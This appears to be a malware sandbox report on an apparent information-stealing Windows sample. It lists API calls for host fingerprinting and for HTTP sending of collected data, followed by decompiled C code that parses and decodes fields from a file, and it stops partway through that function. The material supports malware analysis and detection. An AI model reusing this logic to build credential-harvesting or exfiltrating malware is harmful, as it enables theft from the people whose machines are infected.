Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(007655B8,007655B8), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(hdv,00765238), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(hdv,00766570), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(hdv,00766438), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.ADVAPI32(80000002,00762858,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.ADVAPI32(?,00768550,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(00766480,00766480), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(00762EF8,00762EF8), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.ADVAPI32(80000002,0076A4E8,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.ADVAPI32(?,00769130,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(00762F08,00762F08), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(hdv,007633E0), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(007664B0,007664B0), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(hdv,00765478), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(hdv,007665E8), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(007664C8,007664C8), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(007665B8,007665B8), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(hdv,00766420), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.ADVAPI32(80000002,00767108,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.ADVAPI32(?,00769298,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(007633F0,007633F0), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(007654B8,007654B8), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.ADVAPI32(80000002,00765C50,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Strings

3v, xrefs: 00405934
hdv, xrefs: 004057AB, 0040583A, 0040586A, 0040589A, 0040593B, 0040598B, 004059BA, 00405A49, 004057AE, 0040583D, 0040586D, 0040589D, 0040593E, 0040598E, 004059BD, 00405A4C
pt, xrefs: 004056FB
hdv, xrefs: 004057A5
(ev, xrefs: 00405ADD
8dv, xrefs: 00405893
xTv, xrefs: 00405984
8Rv, xrefs: 00405834
pev, xrefs: 00405863
ev, xrefs: 004059B4
dv, xrefs: 00405A43

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: dv$(ev$8Rv$8dv$hdv$hdv$pev$pt$xTv$3v$ev
API String ID: 1685704716-3451094079
Opcode ID: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00575930, Relevance: 129.8, APIs: 64, Strings: 10, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057593B
RtlAllocateHeap.NTDLL(00000000), ref: 00575942
lstrcat.KERNEL32(?,pt), ref: 00575955
lstrcat.KERNEL32(?,0041A22C), ref: 00575966
lstrcat.KERNEL32(?,00418BC0), ref: 00575975
lstrcat.KERNEL32(?,0041A6C4), ref: 00575986
lstrcat.KERNEL32(?,00418BC4), ref: 00575995
lstrcat.KERNEL32(?,0041A544), ref: 005759A6
lstrcat.KERNEL32(?,00418BC0), ref: 005759B5
lstrcat.KERNEL32(?,0041A79C), ref: 005759C6
GetCurrentProcessId.KERNEL32 ref: 005759CC

Part of subcall function 0057BBA0: OpenProcess.KERNEL32(00000410,00000000,?), ref: 0057BBB4
Part of subcall function 0057BBA0: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0057BBD5
Part of subcall function 0057BBA0: CloseHandle.KERNEL32(00000000), ref: 0057BBDF

lstrcat.KERNEL32(?,00000000), ref: 005759E0
lstrcat.KERNEL32(?,00418BC0), ref: 005759EF
lstrcat.KERNEL32(?,hdv), ref: 005759FF

Part of subcall function 0057AF30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00575A0A), ref: 0057AF3D
Part of subcall function 0057AF30: RtlAllocateHeap.NTDLL(00000000), ref: 0057AF44
Part of subcall function 0057AF30: GetLocalTime.KERNEL32(?,?,?,?,?,00575A0A), ref: 0057AF51
Part of subcall function 0057AF30: wsprintfA.USER32 ref: 0057AF7E

lstrcat.KERNEL32(?,00000000), ref: 00575A0F
lstrcat.KERNEL32(?,00418BC4), ref: 00575A1E
lstrcat.KERNEL32(?,0041A044), ref: 00575A2F

Part of subcall function 0057AF90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057AFA0
Part of subcall function 0057AF90: RtlAllocateHeap.NTDLL(00000000), ref: 0057AFA7
Part of subcall function 0057AF90: GetTimeZoneInformation.KERNEL32(?), ref: 0057AFBA

lstrcat.KERNEL32(?,00000000), ref: 00575A3F
lstrcat.KERNEL32(?,00418BC0), ref: 00575A4E
lstrcat.KERNEL32(?,0041A0FC), ref: 00575A5F

Part of subcall function 0057B010: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0057B022

lstrcat.KERNEL32(?,00000000), ref: 00575A6F
lstrcat.KERNEL32(?,00418BC4), ref: 00575A7E
lstrcat.KERNEL32(?,8Rv), ref: 00575A8E

Part of subcall function 0057B050: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0057B060
Part of subcall function 0057B050: RtlAllocateHeap.NTDLL(00000000), ref: 0057B067
Part of subcall function 0057B050: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0057B088
Part of subcall function 0057B050: LocalAlloc.KERNEL32(00000040,?), ref: 0057B0A0
Part of subcall function 0057B050: GetKeyboardLayoutList.USER32(?,00000000), ref: 0057B0B4
Part of subcall function 0057B050: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0057B109
Part of subcall function 0057B050: wsprintfA.USER32 ref: 0057B132
Part of subcall function 0057B050: wsprintfA.USER32 ref: 0057B150
Part of subcall function 0057B050: memset.NTDLL ref: 0057B176
Part of subcall function 0057B050: LocalFree.KERNEL32(00000000), ref: 0057B18B

lstrcat.KERNEL32(?,00000000), ref: 00575A9E
lstrcat.KERNEL32(?,00418BC0), ref: 00575AAD
lstrcat.KERNEL32(?,pev), ref: 00575ABE

Part of subcall function 0057B1A0: GetSystemPowerStatus.KERNEL32(?), ref: 0057B1AA

lstrcat.KERNEL32(?,00000000), ref: 00575ACE
lstrcat.KERNEL32(?,00418BC4), ref: 00575ADD
lstrcat.KERNEL32(?,8dv), ref: 00575AEE

Part of subcall function 0057B1D0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B1E4
Part of subcall function 0057B1D0: RtlAllocateHeap.NTDLL(00000000), ref: 0057B1EB
Part of subcall function 0057B1D0: RegOpenKeyExA.ADVAPI32(80000002,X(v,00000000,00020119,00575AF9), ref: 0057B20B
Part of subcall function 0057B1D0: RegQueryValueExA.ADVAPI32(00575AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0057B22C
Part of subcall function 0057B1D0: RegCloseKey.ADVAPI32(00575AF9), ref: 0057B236

lstrcat.KERNEL32(?,00000000), ref: 00575AFE
lstrcat.KERNEL32(?,00418BC4), ref: 00575B0D
lstrcat.KERNEL32(?,0041A580), ref: 00575B1D

Part of subcall function 0057B250: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B25D
Part of subcall function 0057B250: RtlAllocateHeap.NTDLL(00000000), ref: 0057B264
Part of subcall function 0057B250: memset.NTDLL ref: 0057B275
Part of subcall function 0057B250: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0057B286
Part of subcall function 0057B250: __aulldiv.LIBCMT ref: 0057B2A0
Part of subcall function 0057B250: wsprintfA.USER32 ref: 0057B2CC

lstrcat.KERNEL32(?,00000000), ref: 00575B2D
lstrcat.KERNEL32(?,00418BC4), ref: 00575B3C
lstrcat.KERNEL32(?,0041A2A8), ref: 00575B4D

Part of subcall function 0057B2E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B2F4
Part of subcall function 0057B2E0: RtlAllocateHeap.NTDLL(00000000), ref: 0057B2FB
Part of subcall function 0057B2E0: RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[W), ref: 0057B31B
Part of subcall function 0057B2E0: RegQueryValueExA.ADVAPI32(X[W,0041A4DC,00000000,00000000,?,000000FF), ref: 0057B33C
Part of subcall function 0057B2E0: RegCloseKey.ADVAPI32(X[W), ref: 0057B346

lstrcat.KERNEL32(?,00000000), ref: 00575B5D
lstrcat.KERNEL32(?,0041A0A8), ref: 00575B6E

Part of subcall function 0057B360: GetCurrentProcess.KERNEL32(00000000), ref: 0057B36F
Part of subcall function 0057B360: IsWow64Process.KERNEL32(00000000), ref: 0057B376

lstrcat.KERNEL32(?,00000000), ref: 00575B7E
lstrcat.KERNEL32(?,3v), ref: 00575B8F
lstrcat.KERNEL32(?,00418BC4), ref: 00575B9E
lstrcat.KERNEL32(?,0041A798), ref: 00575BAF
lstrcat.KERNEL32(?,00000000), ref: 00575BBF
lstrcat.KERNEL32(?,00418BC4), ref: 00575BCE
lstrcat.KERNEL32(?,xTv), ref: 00575BDF

Part of subcall function 0057B3D0: wsprintfA.USER32 ref: 0057B42C

lstrcat.KERNEL32(?,00000000), ref: 00575BEF
lstrcat.KERNEL32(?,00418BC0), ref: 00575BFE
lstrcat.KERNEL32(?,ev), ref: 00575C0E

Part of subcall function 0057AEA0: GetProcessHeap.KERNEL32(00000000,00000104,?,00575C19), ref: 0057AEAD
Part of subcall function 0057AEA0: RtlAllocateHeap.NTDLL(00000000,?,00575C19), ref: 0057AEB4
Part of subcall function 0057AEA0: GetComputerNameA.KERNEL32(00575C19,00000104), ref: 0057AECC

lstrcat.KERNEL32(?,00000000), ref: 00575C1E
lstrcat.KERNEL32(?,00418BC4), ref: 00575C2D
lstrcat.KERNEL32(?,0041A4A4), ref: 00575C3E

Part of subcall function 0057AEF0: GetProcessHeap.KERNEL32(00000000,00000104,?,00575C49), ref: 0057AEFD
Part of subcall function 0057AEF0: RtlAllocateHeap.NTDLL(00000000,?,00575C49), ref: 0057AF04
Part of subcall function 0057AEF0: GetUserNameA.ADVAPI32(?,00000104), ref: 0057AF1C

lstrcat.KERNEL32(?,00000000), ref: 00575C4E
lstrcat.KERNEL32(?,00418BC4), ref: 00575C5D
lstrcat.KERNEL32(?,0041A3C0), ref: 00575C6E
lstrcat.KERNEL32(?,00000000), ref: 00575C7E
lstrcat.KERNEL32(?,00418BC4), ref: 00575C8D
lstrcat.KERNEL32(?, dv), ref: 00575C9D

Part of subcall function 0057B490: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B4A4
Part of subcall function 0057B490: RtlAllocateHeap.NTDLL(00000000), ref: 0057B4AB
Part of subcall function 0057B490: RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00575CA8), ref: 0057B4CB
Part of subcall function 0057B490: RegQueryValueExA.ADVAPI32(00575CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0057B4EC
Part of subcall function 0057B490: RegCloseKey.ADVAPI32(00575CA8), ref: 0057B4F6

lstrcat.KERNEL32(?,00000000), ref: 00575CAD
lstrcat.KERNEL32(?,00418BC4), ref: 00575CBC
lstrcat.KERNEL32(?,0041A074), ref: 00575CCD

Part of subcall function 0057B510: GetCurrentHwProfileA.ADVAPI32(?), ref: 0057B51D
Part of subcall function 0057B510: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0057B52B
Part of subcall function 0057B510: RtlAllocateHeap.NTDLL(00000000), ref: 0057B532
Part of subcall function 0057B510: memset.NTDLL ref: 0057B549
Part of subcall function 0057B510: lstrcat.KERNEL32(?,?), ref: 0057B55A

lstrcat.KERNEL32(?,00000000), ref: 00575CDD
lstrcat.KERNEL32(?,00418BC0), ref: 00575CEC
lstrcat.KERNEL32(?,0041A31C), ref: 00575CFD
lstrcat.KERNEL32(?,00418BC4), ref: 00575D0C
lstrlen.KERNEL32(?), ref: 00575D22

Strings

3v, xrefs: 00575B84, 00575B8A
pt, xrefs: 0057594B, 00575950
8dv, xrefs: 00575AE3, 00575AE9
pev, xrefs: 00575AB3, 00575AB9
xTv, xrefs: 00575BD4, 00575BDA
8Rv, xrefs: 00575A84, 00575A89
hdv, xrefs: 005759F5, 005759FA
dv, xrefs: 00575C93, 00575C98
ev, xrefs: 00575C04, 00575C09
(ev, xrefs: 00575D2D, 00575D33

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$wsprintf$CloseNameOpen$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: dv$(ev$8Rv$8dv$hdv$pev$pt$xTv$3v$ev
API String ID: 874587921-221979984
Opcode ID: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction ID: 6a9b45dfb4adb4f5d4167c4e28129c7629a4b7563c7e977f567f97316282dec4
Opcode Fuzzy Hash: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction Fuzzy Hash: 78C11BBA611504FFCB00DBE4EF8DD9E77B9AF4C3457208559B205D3661CB38AA20DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00574E30, Relevance: 107.1, APIs: 56, Strings: 5, Instructions: 371stringnetworkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 00574E7A
RtlAllocateHeap.NTDLL(00000000), ref: 00574E81
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00574EA8
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00574ECA
StrCmpCA.SHLWAPI(?,00418B90), ref: 00574EED
lstrcat.KERNEL32(?,00000000), ref: 00574F20
lstrcat.KERNEL32(?,00418B9C), ref: 00574F32
lstrcat.KERNEL32(?,00418BA0), ref: 00574F44
lstrcat.KERNEL32(?,?), ref: 00574F58
lstrcat.KERNEL32(?,00418BA8), ref: 00574F6A
lstrcat.KERNEL32(?,00418B9C), ref: 00574F7C
lstrcat.KERNEL32(?,0pt), ref: 00574F90
lstrcat.KERNEL32(?,?), ref: 00574FA4
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00574FCD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00574FF2
HttpOpenRequestA.WININET(00000000,[v,?,0041A2D8,00000000,00000000,00C00100,00000000), ref: 00575037
HttpOpenRequestA.WININET(00000000,[v,?,0041A2D8,00000000,00000000,00400100,00000000), ref: 00575069
lstrcat.KERNEL32(?,00418BA0), ref: 0057508E
lstrcat.KERNEL32(?,?), ref: 005750A2
lstrcat.KERNEL32(?,00418B9C), ref: 005750B4
lstrcat.KERNEL32(?,0041A2CC), ref: 005750C8
lstrcat.KERNEL32(?,0041A058), ref: 005750DB
lstrcat.KERNEL32(?,00418BAC), ref: 005750ED
lstrcat.KERNEL32(?,?), ref: 005750FE
lstrcat.KERNEL32(?,00418B9C), ref: 00575110
lstrcat.KERNEL32(?,00418BA0), ref: 00575122
lstrcat.KERNEL32(?,?), ref: 00575136
lstrcat.KERNEL32(?,00418B9C), ref: 00575148
lstrcat.KERNEL32(?,ppt), ref: 0057515C
lstrcat.KERNEL32(?,?), ref: 0057516D
lstrcat.KERNEL32(?,00418BB4), ref: 0057517F
lstrcat.KERNEL32(?,hbv), ref: 00575192
lstrcat.KERNEL32(?,00418B9C), ref: 005751A4
lstrcat.KERNEL32(?,X`v), ref: 005751B7
lstrcat.KERNEL32(?,00418BB8), ref: 005751C9
lstrlen.KERNEL32(?), ref: 005751D6
lstrlen.KERNEL32(?), ref: 005751E8
GetProcessHeap.KERNEL32(00000000,?), ref: 005751FF
RtlAllocateHeap.NTDLL(00000000), ref: 00575206
lstrlen.KERNEL32(?), ref: 00575219
memcpy.NTDLL(?,?,00000000), ref: 0057522E
lstrlen.KERNEL32(?,?,?), ref: 00575243
memcpy.NTDLL(?), ref: 00575250
lstrlen.KERNEL32(?), ref: 0057525D
lstrlen.KERNEL32(?,?,00000000), ref: 00575272
memcpy.NTDLL(?), ref: 00575282
lstrlen.KERNEL32(?,?,?), ref: 005752C1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 005752D6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 005752F5
StrCmpCA.SHLWAPI(?,00418B8C), ref: 0057530B
Sleep.KERNEL32(00007530), ref: 0057531C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0057536D
lstrcat.KERNEL32(?,00000000), ref: 005753A9
InternetCloseHandle.WININET(?), ref: 005753B8
InternetCloseHandle.WININET(?), ref: 005753C5
InternetCloseHandle.WININET(00000000), ref: 005753D2

Strings

ppt, xrefs: 0057514E, 00575154
X`v, xrefs: 005751AA, 005751AF
0pt, xrefs: 00574F82, 00574F88
[v, xrefs: 0057502A, 0057502F, 0057505B, 00575061
hbv, xrefs: 00575185, 0057518A

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: 0pt$X`v$hbv$ppt$[v
API String ID: 3074752877-719437724
Opcode ID: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction ID: a85d433989e1ef1620c9ec71f42ebebc1065998ff51c6ebfa1ac2f4c383f81c5
Opcode Fuzzy Hash: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction Fuzzy Hash: AEF1A6B5A41218AFCB20DFA0DD48FDA7779BF48700F0085D9F209A7191DBB4AAA4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, char _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t1 =  &_a12; // 0x767450
				_t59 =  *0x41a81c( *_t1);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						_t5 =  &_a12; // 0x767450
						 *0x41aa24( &_v284,  *_t5);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x768138
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x767fb8
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x767fb8
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x768108
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x765ad0
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x765aa0
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x765bf0
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x7689b0
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x7689b0
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x7689d0
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x765bd0
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x7689d0
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x7689d0
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x768d58
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x765ac0
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
